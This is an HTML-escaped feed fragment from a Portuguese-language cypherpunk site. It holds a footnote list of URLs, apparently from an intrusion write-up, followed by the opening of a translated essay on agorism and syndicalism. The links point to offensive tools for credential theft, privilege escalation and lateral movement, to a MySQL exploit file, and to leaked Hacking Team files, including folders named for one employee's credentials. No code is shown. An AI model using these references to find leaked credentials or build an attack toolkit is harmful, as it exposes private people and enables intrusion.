&lt;li id="fn:50">
&lt;p>&lt;a href="https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql" target="_blank" rel="noopener noreferrer">https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql&lt;/a>
&amp;#160;&lt;a href="#fnref:50" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:51">
&lt;p>&lt;a href="http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html" target="_blank" rel="noopener noreferrer">http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html&lt;/a>
&amp;#160;&lt;a href="#fnref:51" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:52">
&lt;p>&lt;a href="http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c" target="_blank" rel="noopener noreferrer">http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c&lt;/a>
&amp;#160;&lt;a href="#fnref:52" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:53">
&lt;p>&lt;a href="http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html" target="_blank" rel="noopener noreferrer">http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html&lt;/a>
&amp;#160;&lt;a href="#fnref:53" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:54">
&lt;p>&lt;a href="https://ht.transparencytoolkit.org/audio/" target="_blank" rel="noopener noreferrer">https://ht.transparencytoolkit.org/audio/&lt;/a>
&amp;#160;&lt;a href="#fnref:54" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:55">
&lt;p>&lt;a href="https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf" target="_blank" rel="noopener noreferrer">https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf&lt;/a>
&amp;#160;&lt;a href="#fnref:55" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:56">
&lt;p>&lt;a href="https://github.com/Neohapsis/creddump7" target="_blank" rel="noopener noreferrer">https://github.com/Neohapsis/creddump7&lt;/a>
&amp;#160;&lt;a href="#fnref:56" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:57">
&lt;p>&lt;a href="http://proxychains.sourceforge.net/" target="_blank" rel="noopener noreferrer">http://proxychains.sourceforge.net/&lt;/a>
&amp;#160;&lt;a href="#fnref:57" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:58">
&lt;p>&lt;a href="https://www.samba.org/" target="_blank" rel="noopener noreferrer">https://www.samba.org/&lt;/a>
&amp;#160;&lt;a href="#fnref:58" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:59">
&lt;p>&lt;a href="http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf" target="_blank" rel="noopener noreferrer">http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf&lt;/a>
&amp;#160;&lt;a href="#fnref:59" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:60">
&lt;p>&lt;a href="https://github.com/gentilkiwi/mimikatz" target="_blank" rel="noopener noreferrer">https://github.com/gentilkiwi/mimikatz&lt;/a>
&amp;#160;&lt;a href="#fnref:60" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:61">
&lt;p>&lt;a href="https://adsecurity.org/?page_id=1821" target="_blank" rel="noopener noreferrer">https://adsecurity.org/?page_id=1821&lt;/a>
&amp;#160;&lt;a href="#fnref:61" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:62">
&lt;p>&lt;a href="https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp" target="_blank" rel="noopener noreferrer">https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp&lt;/a>
&amp;#160;&lt;a href="#fnref:62" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:63">
&lt;p>&lt;a href="https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1" target="_blank" rel="noopener noreferrer">https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1&lt;/a>
&amp;#160;&lt;a href="#fnref:63" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:64">
&lt;p>&lt;a href="https://technet.microsoft.com/en-us/sysinternals/psexec.aspx" target="_blank" rel="noopener noreferrer">https://technet.microsoft.com/en-us/sysinternals/psexec.aspx&lt;/a>
&amp;#160;&lt;a href="#fnref:64" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:65">
&lt;p>&lt;a href="https://sourceforge.net/projects/winexe/" target="_blank" rel="noopener noreferrer">https://sourceforge.net/projects/winexe/&lt;/a>
&amp;#160;&lt;a href="#fnref:65" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:66">
&lt;p>&lt;a href="https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh" target="_blank" rel="noopener noreferrer">https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh&lt;/a>
&amp;#160;&lt;a href="#fnref:66" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:67">
&lt;p>&lt;a href="http://www.powershellempire.com/?page_id=523" target="_blank" rel="noopener noreferrer">http://www.powershellempire.com/?page_id=523&lt;/a>
&amp;#160;&lt;a href="#fnref:67" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:68">
&lt;p>&lt;a href="http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/" target="_blank" rel="noopener noreferrer">http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/&lt;/a>
&amp;#160;&lt;a href="#fnref:68" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:68" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:69">
&lt;p>&lt;a href="https://github.com/byt3bl33d3r/pth-toolkit" target="_blank" rel="noopener noreferrer">https://github.com/byt3bl33d3r/pth-toolkit&lt;/a>
&amp;#160;&lt;a href="#fnref:69" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:69" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:70">
&lt;p>&lt;a href="https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py" target="_blank" rel="noopener noreferrer">https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py&lt;/a>
&amp;#160;&lt;a href="#fnref:70" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:71">
&lt;p>&lt;a href="https://www.trustedsec.com/june-2015/no_psexec_needed/" target="_blank" rel="noopener noreferrer">https://www.trustedsec.com/june-2015/no_psexec_needed/&lt;/a>
&amp;#160;&lt;a href="#fnref:71" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:72">
&lt;p>&lt;a href="http://www.powershellempire.com/?page_id=124" target="_blank" rel="noopener noreferrer">http://www.powershellempire.com/?page_id=124&lt;/a>
&amp;#160;&lt;a href="#fnref:72" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:73">
&lt;p>&lt;a href="http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/" target="_blank" rel="noopener noreferrer">http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/&lt;/a>
&amp;#160;&lt;a href="#fnref:73" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:74">
&lt;p>&lt;a href="https://adsecurity.org/?p=2277" target="_blank" rel="noopener noreferrer">https://adsecurity.org/?p=2277&lt;/a>
&amp;#160;&lt;a href="#fnref:74" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:75">
&lt;p>&lt;a href="https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems" target="_blank" rel="noopener noreferrer">https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems&lt;/a>
&amp;#160;&lt;a href="#fnref:75" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:76">
&lt;p>&lt;a href="https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py" target="_blank" rel="noopener noreferrer">https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py&lt;/a>
&amp;#160;&lt;a href="#fnref:76" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:77">
&lt;p>&lt;a href="https://www.indetectables.net/viewtopic.php?p=211165" target="_blank" rel="noopener noreferrer">https://www.indetectables.net/viewtopic.php?p=211165&lt;/a>
&amp;#160;&lt;a href="#fnref:77" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:77" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:78">
&lt;p>&lt;a href="https://adsecurity.org/?page_id=1821" target="_blank" rel="noopener noreferrer">https://adsecurity.org/?page_id=1821&lt;/a>
&amp;#160;&lt;a href="#fnref:78" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:78" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:79">
&lt;p>&lt;a href="https://github.com/bidord/pykek" target="_blank" rel="noopener noreferrer">https://github.com/bidord/pykek&lt;/a>
&amp;#160;&lt;a href="#fnref:79" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:80">
&lt;p>&lt;a href="https://adsecurity.org/?p=676" target="_blank" rel="noopener noreferrer">https://adsecurity.org/?p=676&lt;/a>
&amp;#160;&lt;a href="#fnref:80" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:81">
&lt;p>&lt;a href="http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html" target="_blank" rel="noopener noreferrer">http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html&lt;/a>
&amp;#160;&lt;a href="#fnref:81" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:82">
&lt;p>&lt;a href="https://github.com/n1nj4sec/pupy" target="_blank" rel="noopener noreferrer">https://github.com/n1nj4sec/pupy&lt;/a>
&amp;#160;&lt;a href="#fnref:82" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:83">
&lt;p>&lt;a href="http://www.powershellempire.com/?page_id=273" target="_blank" rel="noopener noreferrer">http://www.powershellempire.com/?page_id=273&lt;/a>
&amp;#160;&lt;a href="#fnref:83" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:84">
&lt;p>&lt;a href="https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1" target="_blank" rel="noopener noreferrer">https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1&lt;/a>
&amp;#160;&lt;a href="#fnref:84" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:85">
&lt;p>&lt;a href="http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/" target="_blank" rel="noopener noreferrer">http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/&lt;/a>
&amp;#160;&lt;a href="#fnref:85" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:86">
&lt;p>&lt;a href="http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/" target="_blank" rel="noopener noreferrer">http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/&lt;/a>
&amp;#160;&lt;a href="#fnref:86" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:87">
&lt;p>&lt;a href="http://www.hexacorn.com/blog/category/autostart-persistence/" target="_blank" rel="noopener noreferrer">http://www.hexacorn.com/blog/category/autostart-persistence/&lt;/a>
&amp;#160;&lt;a href="#fnref:87" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:88">
&lt;p>&lt;a href="https://blog.netspi.com/tag/persistence/" target="_blank" rel="noopener noreferrer">https://blog.netspi.com/tag/persistence/&lt;/a>
&amp;#160;&lt;a href="#fnref:88" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:89">
&lt;p>&lt;a href="https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView" target="_blank" rel="noopener noreferrer">https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView&lt;/a>
&amp;#160;&lt;a href="#fnref:89" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:90">
&lt;p>&lt;a href="http://www.harmj0y.net/blog/tag/powerview/" target="_blank" rel="noopener noreferrer">http://www.harmj0y.net/blog/tag/powerview/&lt;/a>
&amp;#160;&lt;a href="#fnref:90" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:91">
&lt;p>&lt;a href="http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/" target="_blank" rel="noopener noreferrer">http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/&lt;/a>
&amp;#160;&lt;a href="#fnref:91" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:92">
&lt;p>&lt;a href="http://www.harmj0y.net/blog/redteaming/powerview-2-0/" target="_blank" rel="noopener noreferrer">http://www.harmj0y.net/blog/redteaming/powerview-2-0/&lt;/a>
&amp;#160;&lt;a href="#fnref:92" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:93">
&lt;p>&lt;a href="http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/" target="_blank" rel="noopener noreferrer">http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/&lt;/a>
&amp;#160;&lt;a href="#fnref:93" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:94">
&lt;p>&lt;a href="http://www.slideshare.net/harmj0y/i-have-the-powerview" target="_blank" rel="noopener noreferrer">http://www.slideshare.net/harmj0y/i-have-the-powerview&lt;/a>
&amp;#160;&lt;a href="#fnref:94" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:95">
&lt;p>&lt;a href="https://adsecurity.org/?p=2535" target="_blank" rel="noopener noreferrer">https://adsecurity.org/?p=2535&lt;/a>
&amp;#160;&lt;a href="#fnref:95" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:96">
&lt;p>&lt;a href="https://www.youtube.com/watch?v=rpwrKhgMd7E" target="_blank" rel="noopener noreferrer">https://www.youtube.com/watch?v=rpwrKhgMd7E&lt;/a>
&amp;#160;&lt;a href="#fnref:96" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:97">
&lt;p>&lt;a href="https://github.com/mubix/netview" target="_blank" rel="noopener noreferrer">https://github.com/mubix/netview&lt;/a>
&amp;#160;&lt;a href="#fnref:97" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:98">
&lt;p>&lt;a href="https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/" target="_blank" rel="noopener noreferrer">https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/&lt;/a>
&amp;#160;&lt;a href="#fnref:98" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:99">
&lt;p>&lt;a href="https://adsecurity.org/?page_id=41" target="_blank" rel="noopener noreferrer">https://adsecurity.org/?page_id=41&lt;/a>
&amp;#160;&lt;a href="#fnref:99" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:100">
&lt;p>&lt;a href="http://www.darkoperator.com/?tag=Active&amp;#43;Directory" target="_blank" rel="noopener noreferrer">http://www.darkoperator.com/?tag=Active+Directory&lt;/a>
&amp;#160;&lt;a href="#fnref:100" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:101">
&lt;p>&lt;a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank" rel="noopener noreferrer">https://github.com/PowerShellMafia/PowerSploit&lt;/a>
&amp;#160;&lt;a href="#fnref:101" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:102">
&lt;p>&lt;a href="https://github.com/samratashok/nishang" target="_blank" rel="noopener noreferrer">https://github.com/samratashok/nishang&lt;/a>
&amp;#160;&lt;a href="#fnref:102" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:103">
&lt;p>&lt;a href="http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/" target="_blank" rel="noopener noreferrer">http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/&lt;/a>
&amp;#160;&lt;a href="#fnref:103" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:104">
&lt;p>&lt;a href="http://www.hammer-software.com/wmigphowto.shtml" target="_blank" rel="noopener noreferrer">http://www.hammer-software.com/wmigphowto.shtml&lt;/a>
&amp;#160;&lt;a href="#fnref:104" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:105">
&lt;p>&lt;a href="https://www.trustedsec.com/june-2015/no_psexec_needed/" target="_blank" rel="noopener noreferrer">https://www.trustedsec.com/june-2015/no_psexec_needed/&lt;/a>
&amp;#160;&lt;a href="#fnref:105" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:106">
&lt;p>&lt;a href="https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde" target="_blank" rel="noopener noreferrer">https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde&lt;/a>
&amp;#160;&lt;a href="#fnref:106" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:107">
&lt;p>&lt;a href="http://pwnwiki.io/#!presence/windows/find_files.md" target="_blank" rel="noopener noreferrer">http://pwnwiki.io/#!presence/windows/find_files.md&lt;/a>
&amp;#160;&lt;a href="#fnref:107" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:108">
&lt;p>&lt;a href="http://archive.is/TbaPy" target="_blank" rel="noopener noreferrer">http://archive.is/TbaPy&lt;/a>
&amp;#160;&lt;a href="#fnref:108" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:109">
&lt;p>&lt;a href="http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/" target="_blank" rel="noopener noreferrer">http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/&lt;/a>
&amp;#160;&lt;a href="#fnref:109" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:110">
&lt;p>&lt;a href="http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt" target="_blank" rel="noopener noreferrer">http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt&lt;/a>
&amp;#160;&lt;a href="#fnref:110" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:111">
&lt;p>&lt;a href="http://hacking.technology/Hacked%20Team/c.pozzi/credentials/" target="_blank" rel="noopener noreferrer">http://hacking.technology/Hacked%20Team/c.pozzi/credentials/&lt;/a>
&amp;#160;&lt;a href="#fnref:111" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:112">
&lt;p>&lt;a href="http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt" target="_blank" rel="noopener noreferrer">http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt&lt;/a>
&amp;#160;&lt;a href="#fnref:112" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:113">
&lt;p>&lt;a href="http://seclists.org/fulldisclosure/2014/Oct/78" target="_blank" rel="noopener noreferrer">http://seclists.org/fulldisclosure/2014/Oct/78&lt;/a>
&amp;#160;&lt;a href="#fnref:113" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:114">
&lt;p>&lt;a href="https://twitter.com/coracurrier/status/618104723263090688" target="_blank" rel="noopener noreferrer">https://twitter.com/coracurrier/status/618104723263090688&lt;/a>
&amp;#160;&lt;a href="#fnref:114" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:115">
&lt;p>&lt;a href="http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/" target="_blank" rel="noopener noreferrer">http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/&lt;/a>
&amp;#160;&lt;a href="#fnref:115" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:116">
&lt;p>&lt;a href="https://twitter.com/CthulhuSec/status/619459002854977537" target="_blank" rel="noopener noreferrer">https://twitter.com/CthulhuSec/status/619459002854977537&lt;/a>
&amp;#160;&lt;a href="#fnref:116" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content:encoded></item><item><title>Rumo a uma Aliança Agorista-Sindicalista</title><link>https://cypherpunks.com.br/documentos/rumo-a-alianca-agorista-sindicalista/</link><pubDate>Sat, 09 Jan 2016 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/rumo-a-alianca-agorista-sindicalista/</guid><description>Karl Hess defendeu uma combinação de táticas como um agorista praticante — tanto vertical quanto horizontalmente — e um membro do Industrial Workers of the World, um sindicato de mais de 100 anos que oferece um desafio revigorante para o modelo sindical explorador de grupos como a AFL-CIO enquanto defende táticas sindicalistas.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;/p>
&lt;blockquote>
&lt;p>“Toda a teoria de Konkin fala apenas dos interesses e preocupações das classes marginais que trabalham por conta própria. A grande maioria da população é formada por trabalhadores assalariados em tempo integral; são pessoas com empregos estáveis. O Konkinismo não tem absolutamente nada a dizer a essas pessoas. Adotar a estratégia de Konkin, então, somente neste terreno, serviria como um beco sem saída para o movimento libertário. Não podemos vencer se não houver possibilidade de responder às preocupações da grande maioria dos assalariados deste e de outros países. ”[1]&lt;/p>
&lt;/blockquote>
&lt;p>E assim vai à crítica de Murray Rothbard à filosofia agorista, para a qual SEK3 deu uma boa risada antes de apontar que muitos da classe trabalhadora já estão participando de atividades contra-econômicas por não declarar toda a sua renda em seus formulários de impostos para pagar alguém por baixo da mesa para cortar a grama. Apesar disso, as críticas de Rothbard ainda são ecoadas por alguns, especialmente nos círculos anticapitalistas. Irônico, já que muitos nos círculos anarquistas anticapitalistas também participam da atividade contra-econômica na prática. No entanto, essas críticas têm algum fundo de verdade, o que leva alguns agoristas a se perguntar se o agorismo não precisa de alguma atualização. Afinal, o próprio Konkin acreditava que o agorismo era uma filosofia viva.&lt;/p>
&lt;p>O agorista e jornalista Derrick Broze fala frequentemente dos conceitos de &lt;a href="https://cypherpunks.com.br/agorismo-vertical-horizontal">&amp;ldquo;agorismo vertical&amp;rdquo; e &amp;ldquo;agorismo horizontal&amp;rdquo;&lt;/a>
. Agorismo horizontal é o que a maioria de nós entende, tradicionalmente, como agorismo. É o uso dos mercados negro e cinza para competir com o estado, conforme descrito no &lt;a href="https://libertyzine.blogspot.com/2007/03/o-manifesto-do-novo-libertrio-samuel.html" target="_blank" rel="noopener noreferrer">Manifesto do Novo Libertário&lt;/a>
e na &lt;a href="https://drive.google.com/file/d/1I4flLRd--FCPFOXWQ5TxBZCtClPoK_WE/view" target="_blank" rel="noopener noreferrer">Cartilha Agorista&lt;/a>
